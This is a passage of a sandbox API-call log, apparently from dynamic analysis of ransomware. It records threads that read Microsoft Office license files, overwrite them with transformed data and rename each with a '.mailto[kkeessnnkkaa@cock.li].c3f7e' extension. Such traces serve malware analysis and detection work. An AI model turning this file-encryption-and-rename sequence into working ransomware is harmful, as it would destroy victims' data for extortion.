	[0087.341] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a5bfc9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x2d89a40
	[0087.341] NtSetInformationFile (FileHandle=0x1954, IoStatusBlock=0x2a5bfc94, FileInformation=0x2d89a40, Length=0xf0, FileInformationClass=0xa) returned 0x0
	[0087.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89a40) returned 1
	[0087.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.344] NtQueryInformationFile (in: FileHandle=0x1954, IoStatusBlock=0x2a5bfca8, FileInformation=0x2a5bfc80, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a5bfca8, FileInformation=0x2a5bfc80) returned 0x0
	[0087.344] NtSetInformationFile (FileHandle=0x1954, IoStatusBlock=0x2a5bfca8, FileInformation=0x2a5bfc80, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.345] FlushFileBuffers (hFile=0x1954) returned 1
	[0093.127] CloseHandle (hObject=0x1954) 

Thread:
	id = 1215
	os_tid = 0x1f70

	[0086.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220
	[0086.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1958
	[0086.812] GetFileSizeEx (in: hFile=0x1958, lpFileSize=0x2a63fa9c | out: lpFileSize=0x2a63fa9c*=11586) returned 1
	[0086.812] SetFilePointerEx (in: hFile=0x1958, liDistanceToMove=0x2d3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.812] ReadFile (in: hFile=0x1958, lpBuffer=0x2a63fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a63fa1c, lpOverlapped=0x0 | out: lpBuffer=0x2a63fa20*, lpNumberOfBytesRead=0x2a63fa1c*=0x4, lpOverlapped=0x0) returned 1
	[0086.813] SetFilePointerEx (in: hFile=0x1958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.813] NtQuerySystemTime (in: CurrentTime=0x2a63f9fc | out: CurrentTime=0x2a63f9fc*=132251868135538026) returned 0x0
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xa36f4a26
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x190eb07a
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x5f1882a1
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xc55466b8
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xf37d2ad5
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xe1322f8c
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xc137e0ef
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x47aa3a78
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x3f0a0923
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xb704103e
	[0086.813] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x4a1c57dc
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x30668302
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xb98347c4
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x1d5942f3
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xf4e4ae07
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x4f4813c6
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xa95b8ace
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x7640ccf4
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x254dbce
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x89006325
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x1316f656
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xa071c218
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x8d0f7a4
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xf61bd734
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xa0bb4dc9
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0xcb50f5bf
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x7f3de82
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x35ca9252
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x2715d3f7
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x2fae4635
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x98176216
	[0086.814] RtlRandom (in: Seed=0x2a63fa08 | out: Seed=0x2a63fa08) returned 0x3a8faef4
	[0086.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0086.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0086.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851030
	[0086.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x485d838
	[0086.823] ReadFile (in: hFile=0x1958, lpBuffer=0x4851030, nNumberOfBytesToRead=0x2d42, lpNumberOfBytesRead=0x2a63f9f8, lpOverlapped=0x0 | out: lpBuffer=0x4851030*, lpNumberOfBytesRead=0x2a63f9f8*=0x2d42, lpOverlapped=0x0) returned 1
	[0086.824] SetFilePointerEx (in: hFile=0x1958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.824] WriteFile (in: hFile=0x1958, lpBuffer=0x485d838*, nNumberOfBytesToWrite=0x2d42, lpNumberOfBytesWritten=0x2a63f9f4, lpOverlapped=0x0 | out: lpBuffer=0x485d838*, lpNumberOfBytesWritten=0x2a63f9f4*=0x2d42, lpOverlapped=0x0) returned 1
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x485d838) returned 1
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851030) returned 1
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4775610
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4775480
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0086.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x125) returned 0x2d5c040
	[0086.826] SetFilePointerEx (in: hFile=0x1958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.826] WriteFile (in: hFile=0x1958, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x2a63fa5c, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x2a63fa5c*=0x125, lpOverlapped=0x0) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775480) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775610) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0086.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0086.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768628
	[0086.827] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms"
	[0086.827] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.827] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a63fa14, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a460
	[0086.827] NtSetInformationFile (FileHandle=0x1958, IoStatusBlock=0x2a63fa0c, FileInformation=0x477a460, Length=0xf6, FileInformationClass=0xa) returned 0x0
	[0086.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.828] NtQueryInformationFile (in: FileHandle=0x1958, IoStatusBlock=0x2a63fa20, FileInformation=0x2a63f9f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a63fa20, FileInformation=0x2a63f9f8) returned 0x0
	[0086.828] NtSetInformationFile (FileHandle=0x1958, IoStatusBlock=0x2a63fa20, FileInformation=0x2a63f9f8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.829] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0086.829] FlushFileBuffers (hFile=0x1958) returned 1
	[0093.104] CloseHandle (hObject=0x1958) 

Thread:
	id = 1216
	os_tid = 0x1f74

	[0086.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0086.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x195c
	[0086.830] GetFileSizeEx (in: hFile=0x195c, lpFileSize=0x2a6bfa14 | out: lpFileSize=0x2a6bfa14*=6860) returned 1
	[0086.830] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x1ac8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.830] ReadFile (in: hFile=0x195c, lpBuffer=0x2a6bf998, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a6bf994, lpOverlapped=0x0 | out: lpBuffer=0x2a6bf998*, lpNumberOfBytesRead=0x2a6bf994*=0x4, lpOverlapped=0x0) returned 1
	[0086.831] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.832] NtQuerySystemTime (in: CurrentTime=0x2a6bf974 | out: CurrentTime=0x2a6bf974*=132251868135694196) returned 0x0
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x328dd39b
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x47c9b4da
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xa10aaf86
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x5e598928
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x747f6602
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xfad5c17
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x2dd6c7a5
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x3ed3b8ed
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x42a58c6
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x71c43288
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x33281946
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xc721ea14
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x4d7826e4
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x163e23cc
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x689c1efc
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xe495c66
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x62dc2e74
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x24d90157
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x429cc2ad
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x8be2476c
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x2c027e95
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xe6ad974a
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xe941c41a
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xfdcd2d62
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x696c1424
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xd6716b0b
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x97c3628d
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xc9a4ed94
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0xc6261c91
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x37443b19
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x27382b9c
	[0086.832] RtlRandom (in: Seed=0x2a6bf980 | out: Seed=0x2a6bf980) returned 0x25eb3bff
	[0086.839] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0086.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0086.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851030
	[0086.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x485d838
	[0086.848] ReadFile (in: hFile=0x195c, lpBuffer=0x4851030, nNumberOfBytesToRead=0x1acc, lpNumberOfBytesRead=0x2a6bf970, lpOverlapped=0x0 | out: lpBuffer=0x4851030*, lpNumberOfBytesRead=0x2a6bf970*=0x1acc, lpOverlapped=0x0) returned 1
	[0086.849] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.849] WriteFile (in: hFile=0x195c, lpBuffer=0x485d838*, nNumberOfBytesToWrite=0x1acc, lpNumberOfBytesWritten=0x2a6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x485d838*, lpNumberOfBytesWritten=0x2a6bf96c*=0x1acc, lpOverlapped=0x0) returned 1
	[0086.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x485d838) returned 1
	[0086.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851030) returned 1
	[0086.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0086.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0086.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4775610
	[0086.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x47754d0
	[0086.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0086.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12b) returned 0x4ebca00
	[0086.851] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.851] WriteFile (in: hFile=0x195c, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12b, lpNumberOfBytesWritten=0x2a6bf9d4, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x2a6bf9d4*=0x12b, lpOverlapped=0x0) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47754d0) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775610) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0086.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0086.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea808
	[0086.852] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms"
	[0086.852] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.852] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a6bf98c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d3c0
	[0086.853] NtSetInformationFile (FileHandle=0x195c, IoStatusBlock=0x2a6bf984, FileInformation=0x481d3c0, Length=0xfc, FileInformationClass=0xa) returned 0x0
	[0086.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0086.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
